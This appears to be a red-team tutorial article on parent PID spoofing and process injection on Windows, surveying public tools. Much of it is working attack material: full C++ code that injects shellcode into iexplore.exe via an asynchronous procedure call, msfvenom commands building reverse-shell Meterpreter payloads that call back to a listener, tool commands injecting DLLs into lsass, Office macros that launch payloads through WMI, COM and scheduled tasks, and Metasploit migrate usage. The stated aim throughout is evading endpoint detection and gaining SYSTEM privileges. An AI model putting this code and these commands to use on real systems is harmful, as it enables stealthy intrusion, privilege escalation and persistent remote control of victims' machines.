Monitoring the relationships between parent and child processes is very common technique for threat hunting teams to detect malicious activities. For example if PowerShell is the child process and Microsoft Word is the parent then it is an indication of compromise. Various EDR’s (endpoint detection and response) can detect this abnormal activity easily. This has lead red teams and adversaries to use parent PID spoofing as an evasion method. The Windows API call “CreateProcess” supports a parameter which allows the user to assign the Parent PID. This means that a malicious process can use a different parent when it is created from the one that is actually executed.
Originally this technique was introduced into the wider information security audience in 2009 by Didier Stevens. A proof of concept written in C++ was released (SelectMyParent) that could allow the user to select the parent process by specifying the PID (process identifier). The “CreateProcess” function was used in conjunction with the “STARTUPINFOEX” and “LPPROC_Thread_ATTRIBUTE_LIST“.
SelectMyParent.exe notepad 508
The PID 508 corresponds to the “lsass.exe” process which is responsible for logon activities, passwords changes etc. Notepad will created under the lsass.exe process.
Investigation of the properties of the process will show that Notepad is running with SYSTEM level privileges. This is because the child process (notepad.exe) will obtain the privileges of the parent process (lsass.exe).
From a Meterpreter session the following commands can be used to retrieve the PID of the current session and by specifying the process name results will filtered only to that specific process.
getpid ps lsass.exe
F-Secure released a PowerShell script (PPID-Spoof) which can perform parent PID spoofing. The script contains embedded C# code in order to interact with the “CreateProcess” Windows API.
public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
The tool accepts 3 arguments which are the PID of the parent process, the system path of the child process and the path of an arbitrary DLL for code execution.
PPID-Spoof -ppid 3556 -spawnto "C:\Windows\System32\notepad.exe" -dllpath pentestlab.dll
Notepad will executed under the context of PowerShell and the DLL will be loaded inside notepad.exe.
Since the DLL will be loaded inside the process a communication channel will open with the command and control framework.
A stealthier approach could be to load the DLL inside the “LSASS” process. Threat hunting teams they will have to review the EventHeader ProcessId and the ParentProcessID in order to identify the process spoofing.
PPID-Spoof -ppid 3244 -spawnto "C:\Windows\System32\lsass.exe" -dllpath pentestlab.dll
A new “LSASS” process will created on the system that will load the arbitrary DLL. This scenario allows the red team to blend in with the environment legitimate processes.
A Meterpreter session will open with the process ID of 1312 which corresponds to “rundll32” process which is the child of “lsass.exe” that executes the DLL.
Andrea Pierini implemented the technique of parent PID spoofing by embedding C# code within a PowerShell script. The script will create a new child process that will have as a parent any process defined by the user. Similarly with the F-Secure Labs script the “CreateProcess()” API is used to perform the spoofing.
Import-Module .\psgetsys.ps1 [MyProcess]::CreateProcessFromParent(436,"C:\Windows\System32\cmd.exe","")
The created process will obtain the privileges (SYSTEM) of the parent (winlogon.exe).
Adam Chester explained in his blog back in 2017 how the Meterpreter “getsystem” command works behind the scenes in order to elevate the privileges of a process from Administrator to SYSTEM. Adam expanded the article of Raphael Mudge in 2014 about the three techniques that Meterpreter is using to become SYSTEM.
The getsystem-offline binary utilizes the Windows “ImpersonateNamedPipeClient” API in order to elevate it’s privileges to SYSTEM. This is achieved by creating and enforcing a service that runs as SYSTEM to connect to a named piped of a process and use the “ImpersonateNamedPipeClient” API to create an elevated impersonation token.
getsystem-offline.exe
By default the binary will open a new command prompt with elevated privileges.
However the code could be modified to execute an arbitrary binary that will establish a communication with the command prompt.
According to Microsoft documentation an “Asynchronous Procedure Call” is a function that is executed in the context of a particular thread asynchronously. It is a method of process injection which Halil Dalabasmaz used in his C++ tool APC-PPID that implements parent PID spoofing.
Initially the function “getParentProcessID()” is used to retrieve the PID of the parent process. The “TlHelp32.h” header (part of the Tool Help Library) supports the “CreateToolhelp32Snapshot” function which is responsible to take a snapshot of the specified process (explorer.exe). When the snapshot is taken the process size and PID are retrieved and the handle closes.
DWORD getParentProcessID() { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { //If you want to another process as parent change here if (!wcscmp(process.szExeFile, L"explorer.exe")) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; }
The Windows API “CreateProcess” is utilized to create a new process on the system (iexplore.exe) with the “STARTUPINFOEXA” structure.
#include <windows.h> #include <TlHelp32.h> #include <iostream> DWORD getParentProcessID() { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { //If you want to another process as parent change here if (!wcscmp(process.szExeFile, L"explorer.exe")) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; } int main() { //Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c unsigned char shellCode[] = ""; STARTUPINFOEXA sInfoEX; PROCESS_INFORMATION pInfo; SIZE_T sizeT; HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT); sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT); UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA); CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo); LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T *lpNumberOfBytesWritten = 0; BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten); QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL); ResumeThread(pInfo.hThread); CloseHandle(pInfo.hThread); return 0; }
Metasploit utility “msfvenom” can be used or any other alternative to generate shellcode in C language. The code will be written into the address space of the created process (iexplore.exe).
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=4444 EXITFUNC=thread -f c > pentestlab.txt
Executing the binary on the target system will create a new process (iexplore.exe) that will have as a parent the explorer.exe. The shellcode will executed in the memory space of the Internet Explorer process by using the user-mode asynchronous procedure call.
A Meterpreter session will established with the target host.
Reviewing the processes of the target system will show that “iexplore.exe” has been created successfully.
Reviewing the process properties will validate that the parent process is “explorer.exe“. This proof of concept implements a stealthier process injection method to hide the shellcode inside a process and since explorer and Internet Explorer are valid Microsoft system processes will blend in with the environment bypassing the endpoint detection and response product.
Julian Horoszkiewicz developed a C++ tool (spoof) based on the work of Didier Stevens that can could be used for parent PID spoofing as it allows the user to select the parent PID process.
spoof.exe pentestlab.exe 1116
Once the process is created on the target host the arbitrary payload will executed and a session will open.
Reviewing the process details of the PID in process explorer will validate that the process is a child process of explorer.exe.
The GetSystem binary is developed in C# and implements the parent process ID spoofing in order to elevate rights to SYSTEM. This is achieved through the “CreateProcess” API similar to the code that was released by F-Secure Labs. The .NET binary accepts only two arguments which are the arbitrary executable and the name of the process that will act as a parent.
GetSystem.exe pentestlab.exe lsass
The process “pentestlab.exe” will created on the target host as a child of “lsass.exe“.
The communication will established with the corresponding Command and Control framework with SYSTEM level privileges.
The fact that “GetSystem” is based in C# gives the ability to implement this technique via Covenant or any other relevant Framework (Cobalt Strike) that can load assembly binaries.
Assembly GetSystem.exe "pentestlab.exe lsass"
Similar to the Metasploit Framework “migrate” command an assembly binary can be executed in order to elevate the process from Administrator to SYSTEM.
Investigation of the list of available “Grunts” will show that the new agent is running with SYSTEM level privileges compare to the initial process.
The parent process will be the “LSASS” or any other process that is running with SYSTEM level privileges.
Chirag Savla developed in C# a tool to perform process injection with capability to perform parent PID spoofing by utilizing all the common Windows API’s (CreateProcess, VirtualAllocEx, OpenProcess etc.). The benefit of this tool is that supports different process injection techniques with parent PID spoofing. The tool accepts shelllcode in base-64, C and hex. Metasploit “msfvenom” utility can generate shellcode in these formats.
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f hex > pentestlab.txt
The tool requires the path of the injected process, the path of the shellcode, the parent process name, the file format of the payload and the process injection technique. Executing the following command will inject the shellcode into a new process (calc.exe) using as a parent explorer.exe.
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:4
Monitoring the processes will validate that the calculator has been created in the context of explorer.exe.
The shellcode will executed in the virtual address space of calc.exe and a communication will established with the command and control.
ProcessInjection supports also parent PID spoofing with DLL injection. Arbitrary DLL files can be generated with Metasploit “msfvenom”.
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=10.0.0.13 LPORT=4444 -f dll > pentestlab.dll
The path of the DLL needs to be specified instead of the shellcode and the technique value should be changed to 5.
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.dll" /parentproc:explorer /t:5
When the remote thread will be created inside the process the shellcode will executed and a Meterpreter session will open.
The session will run under the context of “rundll32” process.
Specifying the technique number 6 will perform parent process spoofing with process hollowing technique.
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:6
The tool also supports process injection with asynchronous procedure call. Execution of the shellcode will occur before the entry point of the main thread of the targeted process for a more stealthier approach.
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:8
A C# utility called RemoteProcessInjection also exists with the ability to perform process injection. The tool was designed for Cobalt Strike and accepts base-64 based payloads. Metasploit utility “msfvenom” can generate raw shellcode which can be trivially converted to base-64.
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.13 LPORT=4444 base64 -i /root/payload64.bin > payload64.txt
The shellcode will be injected into the target process. Even though it doesn’t utilize the “CreateProcess” API to spoof the parent process it gives the ability to hide malware inside legitimate windows processes.
RemoteInject64.exe 4272 <base64-shellcode>
The payload will executed from the memory address space of the target process. The process injection method has similarities with the “migrate” Metasploit command since it uses the same Windows API’s.
Microsoft office has been always a very popular delivery mechanism of malware as it helps threat actors and red team to get initial foothold inside an organisation. However execution of malicious code in the form of a macro will create an arbitrary child process that could be easily discovered by EDR’s that have the ability to analyse the anomaly between the parent and child relationship of processes.
There are a variety of approaches that could be used in order to evade detection of EDR products that investigate parent/child relationships. For example VBScript can invoke other system resources to execute malware such as WMI, COM or scheduled tasks. Therefore the parent process will not be WINWORD for example but a process of the Windows operating system.
The following macro will use WMI (Windows Management Instrumentation) in order to create a new process.
Sub Parent() Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process") errReturn = objProcess.Create("C:\Temp\pentestlab.exe", Null, objConfig, intProcessID) End Sub
The benefit from this approach is that the created process will be spawned under “WmiPrvSE.exe” instead of an office process.
A communication channel will open with the command and control framework.
COM objects can be also used to execute a new process.
Sub Parent() Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880") obj.Document.Application.ShellExecute "pentestlab.exe",Null,"C:\Temp\",Null,0 End Sub
The result of executing a malicious executable with this method is that the parent process will be “explorer.exe” even though the execution will happen inside the office product.
The following image demonstrates that a session will open in Meterpreter through a COM object that is executing an arbitrary payload.
Scheduled tasks are often used as a persistence method since it allows red teams to execute their trade-craft at a specific date or time. However it could be used as well for parent PID spoofing since a scheduled task can be created directly from a vbscript. The following code will register a new scheduled task that will trigger the execution of a payload after 30 seconds.
Sub Parent() Set service = CreateObject("Schedule.Service") Call service.Connect Dim td: Set td = service.NewTask(0) td.RegistrationInfo.Author = "Pentest Laboratories" td.settings.StartWhenAvailable = True td.settings.Hidden = False Dim triggers: Set triggers = td.triggers Dim trigger: Set trigger = triggers.Create(1) Dim startTime: ts = DateAdd("s", 30, Now) startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) trigger.StartBoundary = startTime trigger.ID = "TimeTriggerId" Dim Action: Set Action = td.Actions.Create(0) Action.Path = "C:\Users\pentestlab.exe" Call service.GetFolder("\").RegisterTaskDefinition("PentestLab", td, 6, , , 3) End Sub
The new process will not have as a parent the process of a Microsoft product but “svchost.exe” as a more stealthier approach.
Reviewing the process properties of the arbitrary process will validate that the parent process is “svhcost.exe“.
Metasploit framework contains a post exploitation module which can be used to migrate an existing Meterpreter session to another process on the system. The module will follow the same functions as the other tooling described in this article in order to rewrite the existing shellcode into the address space of another process. Specifically the module will follow the process below:
An existing session is required to be defined with the PID and the name of the target process.
use post/windows/manage/migrate set SESSION 1 set PID 508 set NAME lsass.exe set KILL true
Successful execution of the module will produce the following results:
Similarly Meterpreter contains also the “migrate” command which can migrate the existing session to another process.
Tool | Language |
SelectMyParent | C++ |
PPID-Spoof | PowerShell |
GetSystem | C# |
getsystem-offline | C++ |
APC-PPID | C++ |
PPID_spoof | C++ |
psgetsystem | PowerShell |
ProcessInjection | C# |
RemoteProcessInjection | C# |
Spoofing-Office-Macro | VBA |